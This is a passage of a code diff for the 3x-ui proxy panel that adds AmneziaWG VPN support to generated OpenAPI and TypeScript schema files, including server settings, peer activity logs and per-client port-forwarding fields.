+            "description": "RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/\nMaxHandshakeAttempts mirror Instance's identically named fields --\nsee that type's own doc comment for the grammar/width/real-default\ndetails. Flat and top-level for the same tools/openapigen reason as\nthe rest of this struct.",
+            "type": "string"
+          },
+          "rekeyTimeout": {
+            "type": "string"
+          },
+          "routeThroughXray": {
+            "type": "boolean"
+          },
+          "s1": {
+            "type": "integer"
+          },
+          "s2": {
+            "type": "integer"
+          },
+          "s3": {
+            "type": "integer"
+          },
+          "s4": {
+            "type": "integer"
+          },
+          "secondaryDns": {
+            "type": "string"
+          },
+          "subnetCidr": {
+            "type": "integer"
+          },
+          "subnetIp": {
+            "type": "string"
+          }
+        },
+        "required": [
+          "disableCookies",
+          "h1",
+          "h2",
+          "h3",
+          "h4",
+          "jc",
+          "jmax",
+          "jmin",
+          "primaryDns",
+          "privateKey",
+          "publicKey",
+          "randomTrailers",
+          "s1",
+          "s2",
+          "s3",
+          "s4",
+          "secondaryDns",
+          "subnetCidr",
+          "subnetIp"
+        ],
+        "type": "object"
+      },
       "Setting": {
       "Setting": {
         "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
         "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
         "properties": {
         "properties": {
@@ -3608,6 +3872,7 @@
                   "success": true,
                   "success": true,
                   "obj": [
                   "obj": [
                     {
                     {
+                      "awgServer": null,
                       "enable": true,
                       "enable": true,
                       "id": 1,
                       "id": 1,
                       "listen": "",
                       "listen": "",
@@ -5660,6 +5925,82 @@
         }
         }
       }
       }
     },
     },
+    "/panel/api/server/amneziawglogs/{count}": {
+      "post": {
+        "tags": [
+          "Server"
+        ],
+        "summary": "Return live AmneziaWG peer activity (handshake, endpoint, transfer) plus the panel’s own AmneziaWG event lines.",
+        "operationId": "post_panel_api_server_amneziawglogs_count",
+        "parameters": [
+          {
+            "name": "count",
+            "in": "path",
+            "required": true,
+            "description": "Maximum peer rows and event lines to return.",
+            "schema": {
+              "type": "integer"
+            }
+          }
+        ],
+        "requestBody": {
+          "required": true,
+          "content": {
+            "application/json": {
+              "schema": {
+                "type": "object"
+              }
+            }
+          }
+        },
+        "responses": {
+          "200": {
+            "description": "Successful response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "properties": {
+                    "success": {
+                      "type": "boolean"
+                    },
+                    "msg": {
+                      "type": "string"
+                    },
+                    "obj": {
+                      "$ref": "#/components/schemas/AmneziaWGLogs"
+                    }
+                  }
+                },
+                "example": {
+                  "success": true,
+                  "obj": {
+                    "events": [
+                      "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+                    ],
+                    "peers": [
+                      {
+                        "allowedIPs": "10.8.1.2/32",
+                        "down": 4194304,
+                        "email": "[email protected]",
+                        "endpoint": "203.0.113.9:51820",
+                        "handshake": 1735732800000,
+                        "inboundId": 1,
+                        "interface": "awg1",
+                        "online": true,
+                        "tag": "inbound-51820",
+                        "up": 1048576
+                      }
+                    ],
+                    "running": true
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    },
     "/panel/api/server/importDB": {
     "/panel/api/server/importDB": {
       "post": {
       "post": {
         "tags": [
         "tags": [

+ 342 - 1
frontend/public/openapi.json

@@ -970,6 +970,36 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "AmneziaWGLogs": {
+        "description": "AmneziaWGLogs is what the overview's AmneziaWG log view renders: the live\nper-peer activity of every running embedded interface, plus the panel's\nown recent AmneziaWG lifecycle log lines that explain a peer being absent\nfrom Peers at all.",
+        "properties": {
+          "events": {
+            "example": [
+              "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+            ],
+            "items": {
+              "type": "string"
+            },
+            "type": "array"
+          },
+          "peers": {
+            "items": {
+              "$ref": "#/components/schemas/PeerActivity"
+            },
+            "type": "array"
+          },
+          "running": {
+            "example": true,
+            "type": "boolean"
+          }
+        },
+        "required": [
+          "events",
+          "peers",
+          "running"
+        ],
+        "type": "object"
+      },
       "ApiToken": {
       "ApiToken": {
         "properties": {
         "properties": {
           "createdAt": {
           "createdAt": {
@@ -1064,6 +1094,16 @@
             },
             },
             "type": "array"
             "type": "array"
           },
           },
+          "allowedIPsByInbound": {
+            "additionalProperties": {
+              "items": {
+                "type": "string"
+              },
+              "type": "array"
+            },
+            "description": "AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound\nbasis, keyed by inbound id. Lets one identity attached to both\nWireGuard and AmneziaWG carry two genuinely different addresses in a\nsingle Create/Update call instead of the shared AllowedIPs field\nbeing broadcast to every attached tunnel inbound. Absent/unset for a\ngiven inbound id falls back to the shared AllowedIPs exactly as\nbefore -- fully backward compatible for callers that never set this.",
+            "type": "object"
+          },
           "auth": {
           "auth": {
             "description": "Auth password (Hysteria)",
             "description": "Auth password (Hysteria)",
             "type": "string"
             "type": "string"
@@ -1094,6 +1134,10 @@
             "description": "Flow control (XTLS)",
             "description": "Flow control (XTLS)",
             "type": "string"
             "type": "string"
           },
           },
+          "forwardedPorts": {
+            "description": "AmneziaWG per-client port-forwarding spec, e.g. \"80,443,8000-8100\"",
+            "type": "string"
+          },
           "group": {
           "group": {
             "description": "Logical grouping label",
             "description": "Logical grouping label",
             "type": "string"
             "type": "string"
@@ -1258,6 +1302,9 @@
           "flow": {
           "flow": {
             "type": "string"
             "type": "string"
           },
           },
+          "forwardedPorts": {
+            "type": "string"
+          },
           "group": {
           "group": {
             "type": "string"
             "type": "string"
           },
           },
@@ -1336,6 +1383,7 @@
           "enable",
           "enable",
           "expiryTime",
           "expiryTime",
           "flow",
           "flow",
+          "forwardedPorts",
           "group",
           "group",
           "id",
           "id",
           "keepAlive",
           "keepAlive",
@@ -2079,7 +2127,8 @@
               "mixed",
               "mixed",
               "tunnel",
               "tunnel",
               "tun",
               "tun",
-              "mtproto"
+              "mtproto",
+              "amneziawg"
             ],
             ],
             "example": "vless",
             "example": "vless",
             "type": "string"
             "type": "string"
@@ -2231,6 +2280,15 @@
       },
       },
       "InboundOption": {
       "InboundOption": {
         "properties": {
         "properties": {
+          "awgServer": {
+            "allOf": [
+              {
+                "$ref": "#/components/schemas/ServerSettings"
+              }
+            ],
+            "description": "AwgServer carries the full AmneziaWG server block (keys, subnet,\nobfuscation params) so the clients page can render a downloadable\nper-client .conf without a second round trip.",
+            "nullable": true
+          },
           "enable": {
           "enable": {
             "example": true,
             "example": true,
             "type": "boolean"
             "type": "boolean"
@@ -2913,6 +2971,68 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "PeerActivity": {
+        "description": "PeerActivity is one peer's live embedded-Device-reported state, the\ncounterpart of an Xray access-log entry: a tunnel logs no requests, only\nhandshakes and bytes.",
+        "properties": {
+          "allowedIPs": {
+            "example": "10.8.1.2/32",
+            "type": "string"
+          },
+          "down": {
+            "example": 4194304,
+            "format": "int64",
+            "type": "integer"
+          },
+          "email": {
+            "example": "[email protected]",
+            "type": "string"
+          },
+          "endpoint": {
+            "example": "203.0.113.9:51820",
+            "type": "string"
+          },
+          "handshake": {
+            "description": "Handshake is unix milliseconds, 0 when the peer has never connected.",
+            "example": 1735732800000,
+            "format": "int64",
+            "type": "integer"
+          },
+          "inboundId": {
+            "example": 1,
+            "type": "integer"
+          },
+          "interface": {
+            "example": "awg1",
+            "type": "string"
+          },
+          "online": {
+            "example": true,
+            "type": "boolean"
+          },
+          "tag": {
+            "example": "inbound-51820",
+            "type": "string"
+          },
+          "up": {
+            "example": 1048576,
+            "format": "int64",
+            "type": "integer"
+          }
+        },
+        "required": [
+          "allowedIPs",
+          "down",
+          "email",
+          "endpoint",
+          "handshake",
+          "inboundId",
+          "interface",
+          "online",
+          "tag",
+          "up"
+        ],
+        "type": "object"
+      },
       "ProbeResultUI": {
       "ProbeResultUI": {
         "properties": {
         "properties": {
           "cpuPct": {
           "cpuPct": {
@@ -3079,6 +3199,150 @@
         ],
         ],
         "type": "object"
         "type": "object"
       },
       },
+      "ServerSettings": {
+        "description": "ServerSettings is the \"server\" block of an AmneziaWG inbound's Settings\nJSON: the interface-level configuration shared by every client/peer. The\nlisten port is deliberately not duplicated here — it lives on the inbound\nrow itself (Inbound.Port), like every other protocol.",
+        "properties": {
+          "contentPaddingAddition": {
+            "type": "string"
+          },
+          "disableCookies": {
+            "type": "boolean"
+          },
+          "externalInterface": {
+            "description": "ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live\nagain as of Phase 3.5 -- see the matching fields on Instance for what\nthey gate (internal/amneziawgnet's IPv6-address-alias mechanism).\nIPv6Subnet was never actually vestigial either: InstanceFromInbound\nalready consumes it (via serverAddressV6) to build the server's own\ntunnel address, same as always. Only RouteThroughXray, below, remains\ngenuinely vestigial as of the hard cutover to the embedded path\n(internal/amneziawgnet) -- read from existing stored settings for\nbackward compatibility, but not acted on by anything.",
+            "type": "string"
+          },
+          "h1": {
+            "type": "string"
+          },
+          "h2": {
+            "type": "string"
+          },
+          "h3": {
+            "type": "string"
+          },
+          "h4": {
+            "type": "string"
+          },
+          "headerProtectionKey": {
+            "description": "HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0\nfields, flat and top-level for the same tools/openapigen reason as\nthe block above; Obfuscation() below folds them back into\nObfuscation31's own identically named fields.\nHeaderProtectionKey is a base64 32-byte key; empty (the default)\ndisables AWG 3.0 header protection. A non-empty value requires\nevery one of S1-S4 above to be >= 12 -- ValidateObfuscation\nenforces this at save time, not just at IpcSet time.\nContentPaddingAddition is a \"low-high\" range or bare integer, the\nsame grammar and uint32 cap as H1-H4.",
+            "type": "string"
+          },
+          "i1": {
+            "type": "string"
+          },
+          "i2": {
+            "type": "string"
+          },
+          "i3": {
+            "type": "string"
+          },
+          "i4": {
+            "type": "string"
+          },
+          "i5": {
+            "type": "string"
+          },
+          "ipv6Enabled": {
+            "type": "boolean"
+          },
+          "ipv6ExternalInterface": {
+            "type": "string"
+          },
+          "ipv6Subnet": {
+            "type": "string"
+          },
+          "jc": {
+            "description": "Obfuscation31's fields, repeated flat (not embedded) rather than\nnested under their own key: encoding/json would happily inline an\nembedded Obfuscation31 the same way, but the frontend's Go->Zod/TS\ngenerator (tools/openapigen) does not — it emits a genuinely nested\n`obfuscation31` object, which would silently diverge from the real\nwire JSON. See Obfuscation() below for the manager-facing conversion.",
+            "type": "integer"
+          },
+          "jmax": {
+            "type": "integer"
+          },
+          "jmin": {
+            "type": "integer"
+          },
+          "keepaliveTimeout": {
+            "type": "string"
+          },
+          "maxHandshakeAttempts": {
+            "type": "string"
+          },
+          "mtu": {
+            "type": "integer"
+          },
+          "primaryDns": {
+            "description": "PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is\nmeaningful, so no omitempty: a dropped key resurrects frontend defaults.",
+            "type": "string"
+          },
+          "privateKey": {
+            "type": "string"
+          },
+          "publicKey": {
+            "type": "string"
+          },
+          "randomTrailers": {
+            "description": "RandomTrailers/DisableCookies mirror Instance's identically named\nAmneziaWG 3.1 fields -- see that type's own doc comment for the real\nprotocol/interop details. Both real bool fields (not omitempty):\nbuildUAPIConfig always emits both lines explicitly so the\nreconfigure-in-place diff correctly notices a true->false edit, not\njust false->true.",
+            "type": "boolean"
+          },
+          "rejectAfterTime": {
+            "type": "string"
+          },
+          "rekeyAfterTime": {
+            "description": "RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/\nMaxHandshakeAttempts mirror Instance's identically named fields --\nsee that type's own doc comment for the grammar/width/real-default\ndetails. Flat and top-level for the same tools/openapigen reason as\nthe rest of this struct.",
+            "type": "string"
+          },
+          "rekeyTimeout": {
+            "type": "string"
+          },
+          "routeThroughXray": {
+            "type": "boolean"
+          },
+          "s1": {
+            "type": "integer"
+          },
+          "s2": {
+            "type": "integer"
+          },
+          "s3": {
+            "type": "integer"
+          },
+          "s4": {
+            "type": "integer"
+          },
+          "secondaryDns": {
+            "type": "string"
+          },
+          "subnetCidr": {
+            "type": "integer"
+          },
+          "subnetIp": {
+            "type": "string"
+          }
+        },
+        "required": [
+          "disableCookies",
+          "h1",
+          "h2",
+          "h3",
+          "h4",
+          "jc",
+          "jmax",
+          "jmin",
+          "primaryDns",
+          "privateKey",
+          "publicKey",
+          "randomTrailers",
+          "s1",
+          "s2",
+          "s3",
+          "s4",
+          "secondaryDns",
+          "subnetCidr",
+          "subnetIp"
+        ],
+        "type": "object"
+      },
       "Setting": {
       "Setting": {
         "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
         "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
         "properties": {
         "properties": {
@@ -3608,6 +3872,7 @@
                   "success": true,
                   "success": true,
                   "obj": [
                   "obj": [
                     {
                     {
+                      "awgServer": null,
                       "enable": true,
                       "enable": true,
                       "id": 1,
                       "id": 1,
                       "listen": "",
                       "listen": "",
@@ -5660,6 +5925,82 @@
         }
         }
       }
       }
     },
     },
+    "/panel/api/server/amneziawglogs/{count}": {
+      "post": {
+        "tags": [
+          "Server"
+        ],
+        "summary": "Return live AmneziaWG peer activity (handshake, endpoint, transfer) plus the panel’s own AmneziaWG event lines.",
+        "operationId": "post_panel_api_server_amneziawglogs_count",
+        "parameters": [
+          {
+            "name": "count",
+            "in": "path",
+            "required": true,
+            "description": "Maximum peer rows and event lines to return.",
+            "schema": {
+              "type": "integer"
+            }
+          }
+        ],
+        "requestBody": {
+          "required": true,
+          "content": {
+            "application/json": {
+              "schema": {
+                "type": "object"
+              }
+            }
+          }
+        },
+        "responses": {
+          "200": {
+            "description": "Successful response",
+            "content": {
+              "application/json": {
+                "schema": {
+                  "type": "object",
+                  "properties": {
+                    "success": {
+                      "type": "boolean"
+                    },
+                    "msg": {
+                      "type": "string"
+                    },
+                    "obj": {
+                      "$ref": "#/components/schemas/AmneziaWGLogs"
+                    }
+                  }
+                },
+                "example": {
+                  "success": true,
+                  "obj": {
+                    "events": [
+                      "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+                    ],
+                    "peers": [
+                      {
+                        "allowedIPs": "10.8.1.2/32",
+                        "down": 4194304,
+                        "email": "[email protected]",
+                        "endpoint": "203.0.113.9:51820",
+                        "handshake": 1735732800000,
+                        "inboundId": 1,
+                        "interface": "awg1",
+                        "online": true,
+                        "tag": "inbound-51820",
+                        "up": 1048576
+                      }
+                    ],
+                    "running": true
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    },
     "/panel/api/server/importDB": {
     "/panel/api/server/importDB": {
       "post": {
       "post": {
         "tags": [
         "tags": [

+ 75 - 0
frontend/src/generated/examples.ts

@@ -221,6 +221,26 @@ export const EXAMPLES: Record<string, unknown> = {
     "webListen": "",
     "webListen": "",
     "webPort": 1
     "webPort": 1
   },
   },
+  "AmneziaWGLogs": {
+    "events": [
+      "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+    ],
+    "peers": [
+      {
+        "allowedIPs": "10.8.1.2/32",
+        "down": 4194304,
+        "email": "[email protected]",
+        "endpoint": "203.0.113.9:51820",
+        "handshake": 1735732800000,
+        "inboundId": 1,
+        "interface": "awg1",
+        "online": true,
+        "tag": "inbound-51820",
+        "up": 1048576
+      }
+    ],
+    "running": true
+  },
   "ApiToken": {
   "ApiToken": {
     "createdAt": 0,
     "createdAt": 0,
     "enabled": false,
     "enabled": false,
@@ -244,6 +264,7 @@ export const EXAMPLES: Record<string, unknown> = {
     "allowedIPs": [
     "allowedIPs": [
       ""
       ""
     ],
     ],
+    "allowedIPsByInbound": {},
     "auth": "",
     "auth": "",
     "comment": "",
     "comment": "",
     "created_at": 0,
     "created_at": 0,
@@ -251,6 +272,7 @@ export const EXAMPLES: Record<string, unknown> = {
     "enable": false,
     "enable": false,
     "expiryTime": 0,
     "expiryTime": 0,
     "flow": "",
     "flow": "",
+    "forwardedPorts": "",
     "group": "",
     "group": "",
     "id": "",
     "id": "",
     "keepAlive": 0,
     "keepAlive": 0,
@@ -288,6 +310,7 @@ export const EXAMPLES: Record<string, unknown> = {
     "enable": false,
     "enable": false,
     "expiryTime": 0,
     "expiryTime": 0,
     "flow": "",
     "flow": "",
+    "forwardedPorts": "",
     "group": "",
     "group": "",
     "id": 0,
     "id": 0,
     "keepAlive": 0,
     "keepAlive": 0,
@@ -544,6 +567,7 @@ export const EXAMPLES: Record<string, unknown> = {
     "xver": 0
     "xver": 0
   },
   },
   "InboundOption": {
   "InboundOption": {
+    "awgServer": null,
     "enable": true,
     "enable": true,
     "id": 1,
     "id": 1,
     "listen": "",
     "listen": "",
@@ -689,6 +713,18 @@ export const EXAMPLES: Record<string, unknown> = {
     "runId": "1735689600123456789",
     "runId": "1735689600123456789",
     "state": "success"
     "state": "success"
   },
   },
+  "PeerActivity": {
+    "allowedIPs": "10.8.1.2/32",
+    "down": 4194304,
+    "email": "[email protected]",
+    "endpoint": "203.0.113.9:51820",
+    "handshake": 1735732800000,
+    "inboundId": 1,
+    "interface": "awg1",
+    "online": true,
+    "tag": "inbound-51820",
+    "up": 1048576
+  },
   "ProbeResultUI": {
   "ProbeResultUI": {
     "cpuPct": 12.5,
     "cpuPct": 12.5,
     "error": "",
     "error": "",
@@ -725,6 +761,45 @@ export const EXAMPLES: Record<string, unknown> = {
     "tlsVersion": "1.3",
     "tlsVersion": "1.3",
     "x25519": true
     "x25519": true
   },
   },
+  "ServerSettings": {
+    "contentPaddingAddition": "",
+    "disableCookies": false,
+    "externalInterface": "",
+    "h1": "",
+    "h2": "",
+    "h3": "",
+    "h4": "",
+    "headerProtectionKey": "",
+    "i1": "",
+    "i2": "",
+    "i3": "",
+    "i4": "",
+    "i5": "",
+    "ipv6Enabled": false,
+    "ipv6ExternalInterface": "",
+    "ipv6Subnet": "",
+    "jc": 0,
+    "jmax": 0,
+    "jmin": 0,
+    "keepaliveTimeout": "",
+    "maxHandshakeAttempts": "",
+    "mtu": 0,
+    "primaryDns": "",
+    "privateKey": "",
+    "publicKey": "",
+    "randomTrailers": false,
+    "rejectAfterTime": "",
+    "rekeyAfterTime": "",
+    "rekeyTimeout": "",
+    "routeThroughXray": false,
+    "s1": 0,
+    "s2": 0,
+    "s3": 0,
+    "s4": 0,
+    "secondaryDns": "",
+    "subnetCidr": 0,
+    "subnetIp": ""
+  },
   "Setting": {
   "Setting": {
     "id": 0,
     "id": 0,
     "key": "",
     "key": "",

+ 265 - 1
frontend/src/generated/schemas.ts

@@ -944,6 +944,36 @@ export const SCHEMAS: Record<string, unknown> = {
     ],
     ],
     "type": "object"
     "type": "object"
   },
   },
+  "AmneziaWGLogs": {
+    "description": "AmneziaWGLogs is what the overview's AmneziaWG log view renders: the live\nper-peer activity of every running embedded interface, plus the panel's\nown recent AmneziaWG lifecycle log lines that explain a peer being absent\nfrom Peers at all.",
+    "properties": {
+      "events": {
+        "example": [
+          "2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1"
+        ],
+        "items": {
+          "type": "string"
+        },
+        "type": "array"
+      },
+      "peers": {
+        "items": {
+          "$ref": "#/components/schemas/PeerActivity"
+        },
+        "type": "array"
+      },
+      "running": {
+        "example": true,
+        "type": "boolean"
+      }
+    },
+    "required": [
+      "events",
+      "peers",
+      "running"
+    ],
+    "type": "object"
+  },
   "ApiToken": {
   "ApiToken": {
     "properties": {
     "properties": {
       "createdAt": {
       "createdAt": {
@@ -1038,6 +1068,16 @@ export const SCHEMAS: Record<string, unknown> = {
         },
         },
         "type": "array"
         "type": "array"
       },
       },
+      "allowedIPsByInbound": {
+        "additionalProperties": {
+          "items": {
+            "type": "string"
+          },
+          "type": "array"
+        },
+        "description": "AllowedIPsByInbound optionally overrides AllowedIPs on a per-inbound\nbasis, keyed by inbound id. Lets one identity attached to both\nWireGuard and AmneziaWG carry two genuinely different addresses in a\nsingle Create/Update call instead of the shared AllowedIPs field\nbeing broadcast to every attached tunnel inbound. Absent/unset for a\ngiven inbound id falls back to the shared AllowedIPs exactly as\nbefore -- fully backward compatible for callers that never set this.",
+        "type": "object"
+      },
       "auth": {
       "auth": {
         "description": "Auth password (Hysteria)",
         "description": "Auth password (Hysteria)",
         "type": "string"
         "type": "string"
@@ -1068,6 +1108,10 @@ export const SCHEMAS: Record<string, unknown> = {
         "description": "Flow control (XTLS)",
         "description": "Flow control (XTLS)",
         "type": "string"
         "type": "string"
       },
       },
+      "forwardedPorts": {
+        "description": "AmneziaWG per-client port-forwarding spec, e.g. \"80,443,8000-8100\"",
+        "type": "string"
+      },
       "group": {
       "group": {
         "description": "Logical grouping label",
         "description": "Logical grouping label",
         "type": "string"
         "type": "string"
@@ -1232,6 +1276,9 @@ export const SCHEMAS: Record<string, unknown> = {
       "flow": {
       "flow": {
         "type": "string"
         "type": "string"
       },
       },
+      "forwardedPorts": {
+        "type": "string"
+      },
       "group": {
       "group": {
         "type": "string"
         "type": "string"
       },
       },
@@ -1310,6 +1357,7 @@ export const SCHEMAS: Record<string, unknown> = {
       "enable",
       "enable",
       "expiryTime",
       "expiryTime",
       "flow",
       "flow",
+      "forwardedPorts",
       "group",
       "group",
       "id",
       "id",
       "keepAlive",
       "keepAlive",
@@ -2053,7 +2101,8 @@ export const SCHEMAS: Record<string, unknown> = {
           "mixed",
           "mixed",
           "tunnel",
           "tunnel",
           "tun",
           "tun",
-          "mtproto"
+          "mtproto",
+          "amneziawg"
         ],
         ],
         "example": "vless",
         "example": "vless",
         "type": "string"
         "type": "string"
@@ -2205,6 +2254,15 @@ export const SCHEMAS: Record<string, unknown> = {
   },
   },
   "InboundOption": {
   "InboundOption": {
     "properties": {
     "properties": {
+      "awgServer": {
+        "allOf": [
+          {
+            "$ref": "#/components/schemas/ServerSettings"
+          }
+        ],
+        "description": "AwgServer carries the full AmneziaWG server block (keys, subnet,\nobfuscation params) so the clients page can render a downloadable\nper-client .conf without a second round trip.",
+        "nullable": true
+      },
       "enable": {
       "enable": {
         "example": true,
         "example": true,
         "type": "boolean"
         "type": "boolean"
@@ -2887,6 +2945,68 @@ export const SCHEMAS: Record<string, unknown> = {
     ],
     ],
     "type": "object"
     "type": "object"
   },
   },
+  "PeerActivity": {
+    "description": "PeerActivity is one peer's live embedded-Device-reported state, the\ncounterpart of an Xray access-log entry: a tunnel logs no requests, only\nhandshakes and bytes.",
+    "properties": {
+      "allowedIPs": {
+        "example": "10.8.1.2/32",
+        "type": "string"
+      },
+      "down": {
+        "example": 4194304,
+        "format": "int64",
+        "type": "integer"
+      },
+      "email": {
+        "example": "[email protected]",
+        "type": "string"
+      },
+      "endpoint": {
+        "example": "203.0.113.9:51820",
+        "type": "string"
+      },
+      "handshake": {
+        "description": "Handshake is unix milliseconds, 0 when the peer has never connected.",
+        "example": 1735732800000,
+        "format": "int64",
+        "type": "integer"
+      },
+      "inboundId": {
+        "example": 1,
+        "type": "integer"
+      },
+      "interface": {
+        "example": "awg1",
+        "type": "string"
+      },
+      "online": {
+        "example": true,
+        "type": "boolean"
+      },
+      "tag": {
+        "example": "inbound-51820",
+        "type": "string"
+      },
+      "up": {
+        "example": 1048576,
+        "format": "int64",
+        "type": "integer"
+      }
+    },
+    "required": [
+      "allowedIPs",
+      "down",
+      "email",
+      "endpoint",
+      "handshake",
+      "inboundId",
+      "interface",
+      "online",
+      "tag",
+      "up"
+    ],
+    "type": "object"
+  },
   "ProbeResultUI": {
   "ProbeResultUI": {
     "properties": {
     "properties": {
       "cpuPct": {
       "cpuPct": {
@@ -3053,6 +3173,150 @@ export const SCHEMAS: Record<string, unknown> = {
     ],
     ],
     "type": "object"
     "type": "object"
   },
   },
+  "ServerSettings": {
+    "description": "ServerSettings is the \"server\" block of an AmneziaWG inbound's Settings\nJSON: the interface-level configuration shared by every client/peer. The\nlisten port is deliberately not duplicated here — it lives on the inbound\nrow itself (Inbound.Port), like every other protocol.",
+    "properties": {
+      "contentPaddingAddition": {
+        "type": "string"
+      },
+      "disableCookies": {
+        "type": "boolean"
+      },
+      "externalInterface": {
+        "description": "ExternalInterface, IPv6Enabled, and IPv6ExternalInterface are live\nagain as of Phase 3.5 -- see the matching fields on Instance for what\nthey gate (internal/amneziawgnet's IPv6-address-alias mechanism).\nIPv6Subnet was never actually vestigial either: InstanceFromInbound\nalready consumes it (via serverAddressV6) to build the server's own\ntunnel address, same as always. Only RouteThroughXray, below, remains\ngenuinely vestigial as of the hard cutover to the embedded path\n(internal/amneziawgnet) -- read from existing stored settings for\nbackward compatibility, but not acted on by anything.",
+        "type": "string"
+      },
+      "h1": {
+        "type": "string"
+      },
+      "h2": {
+        "type": "string"
+      },
+      "h3": {
+        "type": "string"
+      },
+      "h4": {
+        "type": "string"
+      },
+      "headerProtectionKey": {
+        "description": "HeaderProtectionKey and ContentPaddingAddition are AmneziaWG 3.0\nfields, flat and top-level for the same tools/openapigen reason as\nthe block above; Obfuscation() below folds them back into\nObfuscation31's own identically named fields.\nHeaderProtectionKey is a base64 32-byte key; empty (the default)\ndisables AWG 3.0 header protection. A non-empty value requires\nevery one of S1-S4 above to be \u003e= 12 -- ValidateObfuscation\nenforces this at save time, not just at IpcSet time.\nContentPaddingAddition is a \"low-high\" range or bare integer, the\nsame grammar and uint32 cap as H1-H4.",
+        "type": "string"
+      },
+      "i1": {
+        "type": "string"
+      },
+      "i2": {
+        "type": "string"
+      },
+      "i3": {
+        "type": "string"
+      },
+      "i4": {
+        "type": "string"
+      },
+      "i5": {
+        "type": "string"
+      },
+      "ipv6Enabled": {
+        "type": "boolean"
+      },
+      "ipv6ExternalInterface": {
+        "type": "string"
+      },
+      "ipv6Subnet": {
+        "type": "string"
+      },
+      "jc": {
+        "description": "Obfuscation31's fields, repeated flat (not embedded) rather than\nnested under their own key: encoding/json would happily inline an\nembedded Obfuscation31 the same way, but the frontend's Go-\u003eZod/TS\ngenerator (tools/openapigen) does not — it emits a genuinely nested\n`obfuscation31` object, which would silently diverge from the real\nwire JSON. See Obfuscation() below for the manager-facing conversion.",
+        "type": "integer"
+      },
+      "jmax": {
+        "type": "integer"
+      },
+      "jmin": {
+        "type": "integer"
+      },
+      "keepaliveTimeout": {
+        "type": "string"
+      },
+      "maxHandshakeAttempts": {
+        "type": "string"
+      },
+      "mtu": {
+        "type": "integer"
+      },
+      "primaryDns": {
+        "description": "PrimaryDNS/SecondaryDNS seed client configs' DNS line. Blank is\nmeaningful, so no omitempty: a dropped key resurrects frontend defaults.",
+        "type": "string"
+      },
+      "privateKey": {
+        "type": "string"
+      },
+      "publicKey": {
+        "type": "string"
+      },
+      "randomTrailers": {
+        "description": "RandomTrailers/DisableCookies mirror Instance's identically named\nAmneziaWG 3.1 fields -- see that type's own doc comment for the real\nprotocol/interop details. Both real bool fields (not omitempty):\nbuildUAPIConfig always emits both lines explicitly so the\nreconfigure-in-place diff correctly notices a true-\u003efalse edit, not\njust false-\u003etrue.",
+        "type": "boolean"
+      },
+      "rejectAfterTime": {
+        "type": "string"
+      },
+      "rekeyAfterTime": {
+        "description": "RekeyAfterTime/RekeyTimeout/RejectAfterTime/KeepaliveTimeout/\nMaxHandshakeAttempts mirror Instance's identically named fields --\nsee that type's own doc comment for the grammar/width/real-default\ndetails. Flat and top-level for the same tools/openapigen reason as\nthe rest of this struct.",
+        "type": "string"
+      },
+      "rekeyTimeout": {
+        "type": "string"
+      },
+      "routeThroughXray": {
+        "type": "boolean"
+      },
+      "s1": {
+        "type": "integer"
+      },
+      "s2": {
+        "type": "integer"
+      },
+      "s3": {
+        "type": "integer"
+      },
+      "s4": {
+        "type": "integer"
+      },
+      "secondaryDns": {
+        "type": "string"
+      },
+      "subnetCidr": {
+        "type": "integer"
+      },
+      "subnetIp": {
+        "type": "string"
+      }
+    },
+    "required": [
+      "disableCookies",
+      "h1",
+      "h2",
+      "h3",
+      "h4",
+      "jc",
+      "jmax",
+      "jmin",
+      "primaryDns",
+      "privateKey",
+      "publicKey",
+      "randomTrailers",
+      "s1",
+      "s2",
+      "s3",
+      "s4",
+      "secondaryDns",
+      "subnetCidr",
+      "subnetIp"
+    ],
+    "type": "object"
+  },
   "Setting": {
   "Setting": {
     "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
     "description": "Setting stores key-value configuration settings for the 3x-ui panel.",
     "properties": {
     "properties": {

+ 63 - 0
frontend/src/generated/types.ts

@@ -231,6 +231,12 @@ export interface AllSettingView {
   webPort: number;
   webPort: number;
 }
 }
 
 
+export interface AmneziaWGLogs {
+  events: string[];
+  peers: PeerActivity[];
+  running: boolean;
+}
+
 export interface ApiToken {
 export interface ApiToken {
   createdAt: number;
   createdAt: number;
   enabled: boolean;
   enabled: boolean;
@@ -254,6 +260,7 @@ export interface ApiTokenView {
 export interface Client {
 export interface Client {
   adTag?: string;
   adTag?: string;
   allowedIPs?: string[];
   allowedIPs?: string[];
+  allowedIPsByInbound?: Record<number, string[]>;
   auth?: string;
   auth?: string;
   comment: string;
   comment: string;
   created_at?: number;
   created_at?: number;
@@ -261,6 +268,7 @@ export interface Client {
   enable: boolean;
   enable: boolean;
   expiryTime: number;
   expiryTime: number;
   flow?: string;
   flow?: string;
+  forwardedPorts?: string;
   group?: string;
   group?: string;
   id?: string;
   id?: string;
   keepAlive?: number;
   keepAlive?: number;
@@ -300,6 +308,7 @@ export interface ClientRecord {
   enable: boolean;
   enable: boolean;
   expiryTime: number;
   expiryTime: number;
   flow: string;
   flow: string;
+  forwardedPorts: string;
   group: string;
   group: string;
   id: number;
   id: number;
   keepAlive: number;
   keepAlive: number;
@@ -512,6 +521,7 @@ export interface InboundFallback {
 }
 }
 
 
 export interface InboundOption {
 export interface InboundOption {
+  awgServer?: ServerSettings | null;
   enable: boolean;
   enable: boolean;
   id: number;
   id: number;
   listen?: string;
   listen?: string;
@@ -658,6 +668,19 @@ export interface PanelUpdateStatus {
   state: string;
   state: string;
